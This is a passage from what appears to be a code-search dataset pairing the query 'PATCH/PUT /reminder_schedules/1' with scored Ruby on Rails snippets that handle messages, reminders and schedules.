"title": ""
},
{
"docid": "baad28329a5876233ee08540b44c245f",
"score": "0.4432526",
"text": "def prior_message\n @messaging['prior_message']\n end",
"title": ""
},
{
"docid": "01ad34c80da37a1e6816258d5da93835",
"score": "0.4431233",
"text": "def draft_message; draft.complete_message if draft; end",
"title": ""
},
{
"docid": "23b99dcfd60f5e0dc9057b0c191baa2c",
"score": "0.44286925",
"text": "def future_messages(person_full_name, person)\n future_messages = []\n verbs = [\"invoked\", \"called to\", \"cried out for\", \"made a sacrifice to\", \"let slip\",\n \"doorbell ditched\", \"whispered sweetly to\", \"walked over broken glass to get to\",\n \"prayed to the god of\", \"ran headlong at\", \"checked in a timebomb for\",\n \"interpolated some strings TWO TIMES for\", \"wished upon a\", \"was like, oh my god\",\n \"went all\", \"tested the concept of\"]\n future_person = Regexp.new(\"future #{person}\", Regexp::IGNORECASE)\n future_everybody = Regexp.new(\"future everybody\", Regexp::IGNORECASE)\n \n if message_id = last_message_id(person_full_name)\n candidates = Message.all(\n :message_id.gt => message_id,\n :person.not => ['Fogbugz','Subversion','GeneralZod','Capistrano','Wes'],\n :message_type => 'Text')\n candidates.each do |row|\n if row.body.match(future_person)\n verbed = verbs[rand(verbs.size)]\n future_messages << \"#{row.person} #{verbed} future #{person} at: #{bot.base_uri}/room/#{bot.room.id}/transcript/message/#{row.message_id}\"\n elsif row.body.match(future_everybody)\n verbed = verbs[rand(verbs.size)]\n future_messages << \"#{row.person} #{verbed} future everybody: \\\"#{row.body}\\\"\"\n end\n end\n end\n return future_messages\n end",
"title": ""
},
{
"docid": "38fb580b908d259a1e92297d4641427b",
"score": "0.4428552",
"text": "def recent from\n where ['created_at > ?', (from || 2.weeks.ago).to_s(:db)]\n end",
"title": ""
},
{
"docid": "d8cbc19e3cf381e163b0ed05e54b1d86",
"score": "0.44226936",
"text": "def message\n @commit.message\n end",
"title": ""
},
{
"docid": "fed427e1b2ff2d97442325217af6ea4b",
"score": "0.44161937",
"text": "def get_message_from_messageinfo m\n return nil if m.fake?\n @messages[m.message_id] ||= begin\n message = @context.client.load_message m.message_id\n message.parse! @context\n message.chunks.each { |c| @chunk_layouts[c] = ChunkLayout.new c }\n\n if message.unread?\n message.state -= [\"unread\"]\n @context.client.async_set_state! message.message_id, message.state\n @context.ui.broadcast :message_state, message.message_id\n end\n\n message\n end\n end",
"title": ""
},
{
"docid": "80910f906dc14ce7115f449f9e3be066",
"score": "0.4415006",
"text": "def last_message_id(person_full_name)\n last_left = Message.first(\n :conditions => {:person => person_full_name, :message_type => ['Leave','Kick']},\n :order => [:timestamp.desc])\n \n if last_left \n # if person timed out, look for their last entry before the timeout\n if last_left.message_type == 'Kick'\n last_left = Message.first(\n :conditions => {:person => person_full_name, :timestamp.lt => last_left.timestamp},\n :order => [:timestamp.desc])\n end\n\n if last_left && (Time.now.to_i - last_left.timestamp > 120)\n return last_left.message_id\n end\n end\n end",
"title": ""
},
{
"docid": "d3d785dff9e0a4c05649c4462c384c6d",
"score": "0.4414567",
"text": "def contents_by_name(name)\n contents.select { |content| content.name == name.to_s }\n end",
"title": ""
},
{
"docid": "e0d92a315cff1ac862315436a1b0f994",
"score": "0.4413851",
"text": "def recent_activity\n\t\t(Comment.all + Content.all + Mood.all + Project.all + Milestone.all + Form.all + Client.all + Contact.all).sort_by {|x| x[:updated_at]}.reverse\n\tend",
"title": ""
},
{
"docid": "22daf472efd356a16b038a47fdd5681a",
"score": "0.44124824",
"text": "def peek(queue_name, options = {})\r\n return get_messages(queue_name, {:peek_only => true}.merge(options))\r\n end",
"title": ""
},
{
"docid": "e1f4ecdbe8fd1e9f564cd718a4787eaa",
"score": "0.4410045",
"text": "def read_new_messages(last_id=nil)\n newer = \"\"\n newer = \"?newer_than=#{last_id.to_s}\" if last_id\n # Get latest 20 messages\n begin\n reply = @access_token.get(\"/api/v1/messages.xml\" + newer)\n \n# File.open(\"tmp/dump.xml\", \"w\") do |f|\n# f.write reply.body \n# end\n \n # Parse xml. doc has xml, updates has the messages\n doc, @updates = Hpricot::XML(reply.body), []\n \n # First get the names of users\n @names = {}\n (doc/:reference).each do |ref|\n next unless ref.at('type').innerHTML.include? 'user'\n id = ref.at('id').innerHTML\n @names[id] = ref.at('name').innerHTML\n end\n \n # Then the messages\n last_id = 0\n (doc/:message).each do |msg|\n id = msg.at('id').innerHTML\n last_id = id.to_i if last_id < id.to_i\n from = msg.at('sender-id').innerHTML # get the id\n from = @names[from] if @names[from] # get name from id\n time = msg.at('created-at').innerHTML\n content= msg.at('body').at('plain').innerHTML\n @updates << {:id => id, :from => from, :content => content, :time => time}\n end\n \n # Show\n# render :text => make_html(updates, names)\n rescue StandardError, Timeout::Error\n last_id = 0 # Timeouts are very common\n end\n last_id == 0 ? nil : last_id\n end",
"title": ""
},
{
"docid": "b5106ee2362f5b3cd294fa39541af2b1",
"score": "0.44082877",
"text": "def check_message_age\n return unless @mode == :max_age\n\n @history_mutex.synchronize do\n @history.each do |key|\n @history[key].delete_if{|entry| Time.now - entry.time > @max_age}\n end\n end\n end",
"title": ""
},
{
"docid": "2851df423b28cce935e59bf69f9a8cbc",
"score": "0.44010106",
"text": "def show\n puts \"############ messages show ###############\"\n @message = current_user.messages.find_by_id(params[:id])\n if !@message.nil?\n @conversations = @message.conversations.includes(:sender => [:profile, :profile_photo])\n\n @message_status = @message.message_statuses.find_by_user_id(current_user)\n latest_conversation = @message_status.start_at\n if @message_status.start_at == nil\n @conversations = @message.conversations.includes(:sender => [:profile, :profile_photo])\n else\n @conversations = @message.conversations.where(\"id > ?\", latest_conversation).includes(:sender => [:profile, :profile_photo])\n end\n if !@message_status.nil?\n if @message_status.status == MessageStatus::UNREAD\n @message_status.status = MessageStatus::READ\n @message_status.save!\n end\n else\n flash[:error] = \"Message is not found\"\n return redirect_to messages_path\n end\n @reply_conversation = Conversation.new\n @reply_conversation.content = nil\n else\n flash[:error] = \"Message is not found\"\n return redirect_to messages_path\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"title": ""
},
{
"docid": "b27e263d2bf5ab5dc4695ca6d14067a5",
"score": "0.44003573",
"text": "def name\n revision_data[\"name\"]\n end",
"title": ""
},
{
"docid": "086c63405fb30b87203244ac3e0eeb8c",
"score": "0.43816173",
"text": "def build_copy_messages(copies)\n messages = []\n\n copied_count = copies.select(&:copied).size\n if copied_count.positive?\n messages << {\n type: \"success\",\n message: I18n.t(\"api.jobs.copy.success\", count: copied_count),\n }\n end\n\n not_copied_jobs = copies.reject(&:copied).map(&:object)\n if not_copied_jobs.present?\n messages << {\n type: \"warning\",\n message: I18n.t(\"api.jobs.copy.jobs_not_copied\",\n count: not_copied_jobs.size,\n jobs: not_copied_jobs.map(&:name).join(\", \")),\n }\n end\n\n messages\n end",
"title": ""
},
{
"docid": "f173e7eda212fa70c52034f4b7c2f36a",
"score": "0.43806285",
"text": "def new_messages\n self.messages.where(mailgun_reply_to_id: nil) \n end",
"title": ""
},
{
"docid": "ce1720a1a2c1b212c04f62ea95ae0f5f",
"score": "0.43799135",
"text": "def show\n authorize @rcable\n @message = @rcable.messages.new\n @messages = @rcable.messages.order(created_at: :desc).paginate(page: params[:page], per_page: 20)\n end",
"title": ""
},
{
"docid": "723fd54ed1625c9554419c556fa5e041",
"score": "0.43795136",
"text": "def get_recent_backup\n puts \"entered get_recent_backup\" if DEBUG\n filename = \"#{@config['folder']}/#{@config['filename']}_#{(Time.now - (60*60*24*14)).strftime(\"%Y-%m-%d_%H-%M\")}\"\n list = Bucket.objects(@config['bucket'], :prefix => @config['folder'])\n raise 'Could not find any backups.' if not list\n list.sort!{|a,b| b.key <=> a.key }\n raise 'Could not find a recent backup.' if not list.first\n list.first.key\n end",
"title": ""
}
] |
0e9b8439c1964578fa7267be2a279df3
|
PATCH/PUT /reminder_schedules/1 PATCH/PUT /reminder_schedules/1.json
|
[
{
"docid": "7363927020f288e29aa62c52e147652c",
"score": "0.7567816",
"text": "def update\n respond_to do |format|\n if @reminder_schedule.update(reminder_schedule_params)\n format.html { redirect_to @reminder_schedule, notice: 'Reminder schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @reminder_schedule }\n else\n format.html { render :edit }\n format.json { render json: @reminder_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "1d99621850878d440e3ebafb27d55e78",
"score": "0.73126686",
"text": "def update\n @reminder_schedule = ReminderSchedule.find(params[:id])\n\n respond_to do |format|\n if @reminder_schedule.update_attributes(params[:reminder_schedule])\n format.html { redirect_to(@reminder_schedule, :notice => 'Reminder schedule was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reminder_schedule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa4ab5e204576e01346a736da49854f1",
"score": "0.7173585",
"text": "def update\n respond_to do |format|\n\n this_schedule_params = schedule_params()\n\n for day in [\"mon\", \"tue\", \"wed\", \"thu\", \"fri\"]\n if this_schedule_params[day + \"_times\"].nil?\n this_schedule_params[day + \"_times\"] = []\n end\n if this_schedule_params[day + \"_var_times\"].nil?\n this_schedule_params[day + \"_var_times\"] = []\n end\n end\n\n if @schedule.update(this_schedule_params)\n format.html { redirect_to user_schedule_path, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4435d487a5e92d0b204dd681ca72fdf2",
"score": "0.7084728",
"text": "def update\n @schedule = getSchedules()[params[:id]]\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "21cf7d35d4734dc60ab0deffd38ed2e3",
"score": "0.7078568",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n if @schedule.update(schedule_params)\n render json: @schedule, status: :ok\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "63e253886df21516071565017e0d6a46",
"score": "0.70760196",
"text": "def update\n if @schedule.update(schedule_params)\n render json: @schedule\n else\n render json: @schedule.errors\n end\n end",
"title": ""
},
{
"docid": "d1994731d3d6818e70c5a5922048225c",
"score": "0.7054399",
"text": "def update\n @reminder = Reminder.find(params[:id])\n\n if @reminder.update(params[:reminder])\n head :no_content\n else\n render json: @reminder.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ed35f90aa344a9f7b6240d92dcd78edc",
"score": "0.7037307",
"text": "def set_reminder_schedule\n @reminder_schedule = ReminderSchedule.find(params[:id])\n end",
"title": ""
},
{
"docid": "e65c4bb588b5f47f0b18d47c060f1a8a",
"score": "0.694137",
"text": "def update\n respond_to do |format|\n if @task_schedule.update(task_schedule_params)\n format.html { redirect_to @task_schedule, notice: 'Task schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_schedule }\n else\n format.html { render :edit }\n format.json { render json: @task_schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "174eaee87e28369ee0b0db3813e0aaed",
"score": "0.6901621",
"text": "def update\n reminder = Reminder.find(params[:id])\n\n if reminder.update(reminder_params)\n head :no_content\n else\n render json: reminder.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "dc8694b29902fac7411a2d602d82d84e",
"score": "0.6896857",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, :notice => 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "582ff43842f87e50d0c3d3be1662afa5",
"score": "0.6888602",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to schedules_url, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8016a8dbec48dc81cedb5c35288014f2",
"score": "0.6875335",
"text": "def update\n @schedule = Schedule.find(params[:id])\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91f9a76b68e28c68a86e8aba93bb8b45",
"score": "0.68701667",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "91f9a76b68e28c68a86e8aba93bb8b45",
"score": "0.68701667",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9ae6bebea15f398edd0f5eb0895eb66",
"score": "0.6859353",
"text": "def update_schedule(access_token, campaign_id, schedule)\n\t\t\t\t\turl = Util::Config.get('endpoints.base_url') + \n\t\t\t\t\t\t\t\tsprintf(Util::Config.get('endpoints.campaign_schedule'), campaign_id, schedule.id)\n\t\t\t\t\turl = build_url(url)\n\t\t\t\t\tpayload = schedule.to_json\n\t\t\t\t\tresponse = RestClient.put(url, payload, get_headers(access_token))\n\t\t\t\t\tComponents::Schedule.create(JSON.parse(response.body))\n\t\t\t\tend",
"title": ""
},
{
"docid": "89486b107a6d6037935bf2f4b2258ca3",
"score": "0.6856034",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89486b107a6d6037935bf2f4b2258ca3",
"score": "0.6856034",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89486b107a6d6037935bf2f4b2258ca3",
"score": "0.6856034",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89486b107a6d6037935bf2f4b2258ca3",
"score": "0.6856034",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89486b107a6d6037935bf2f4b2258ca3",
"score": "0.6856034",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89486b107a6d6037935bf2f4b2258ca3",
"score": "0.68548363",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f10e2b1081b444dacf0b705ae99988bc",
"score": "0.6844328",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec980b938bcee58261aef6e99bacf029",
"score": "0.68425846",
"text": "def update\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n if @reminder.update(reminder_params)\n format.html { redirect_to @reminder, notice: 'reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9abcf8537adc245bd8d04df694cbe08",
"score": "0.68392634",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to calendar_path, notice: 'スケジュールが更新されました。' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "521c184220e61e9e224b6b357a0515fe",
"score": "0.6837018",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n if @schedule.update(schedule_params)\n head :no_content\n else\n render json: @schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5df6912c8ebcec66fc8e815ea3cfb9d6",
"score": "0.68307644",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3615968077d045e9417ecd7c8667ae63",
"score": "0.682444",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73fe44dd12c287c83b324045ed0f8c74",
"score": "0.68163615",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice}#: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c548c5fa96cee886332d60650049770e",
"score": "0.6814221",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule, notice: \"Schedule was successfully updated.\" }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f30edd12dbe7cf4bc266a860aebb9602",
"score": "0.6810571",
"text": "def update\n @schedule = Schedule.find(params[:id])\n\n respond_to do |format|\n if @schedule.update_attributes(schedule_params)\n format.html { redirect_to @schedule, notice: \"Schedule was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b80a9be1ee87a6df03c72ffc73d1b800",
"score": "0.6808677",
"text": "def update\n if @route_schedule.update(route_schedule_params)\n render json: @route_schedule, status: :ok \n else\n render json: @route_schedule.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3c4f9df03b3afec9e6efaa1833f3ab68",
"score": "0.68042856",
"text": "def update\n respond_to do |format|\n if @schedule.update(schedule_params)\n format.html { redirect_to @schedule }\n format.json { render :show, status: :ok, location: @schedule }\n else\n format.html { render :edit }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8dde690f3c7c1637668d6c658d6813fa",
"score": "0.6793118",
"text": "def update\n @reminder = Reminder.find(params[:id])\n\n respond_to do |format|\n if @reminder.update_attributes(params[:reminder])\n format.html { redirect_to @reminder, notice: 'Reminder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d802a9a230c4281bbb78066d7c68712",
"score": "0.6783199",
"text": "def update\n respond_to do |format|\n if @reminder.update(reminder_params)\n format.html { redirect_to @reminder, notice: \"Reminder was successfully updated.\" }\n format.json { render :show, status: :ok, location: @reminder }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d802a9a230c4281bbb78066d7c68712",
"score": "0.6783199",
"text": "def update\n respond_to do |format|\n if @reminder.update(reminder_params)\n format.html { redirect_to @reminder, notice: \"Reminder was successfully updated.\" }\n format.json { render :show, status: :ok, location: @reminder }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "220720820caaa3151a7379103ec66cc5",
"score": "0.6776528",
"text": "def update\n respond_to do |format|\n if @reminder.update(reminder_params)\n format.html { redirect_to @reminder, notice: 'Reminder was successfully updated.' }\n format.json { render :show, status: :ok, location: @reminder }\n else\n format.html { render :edit }\n format.json { render json: @reminder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "220720820caaa3151a7379103ec66cc5",
"score": "0.6776528",
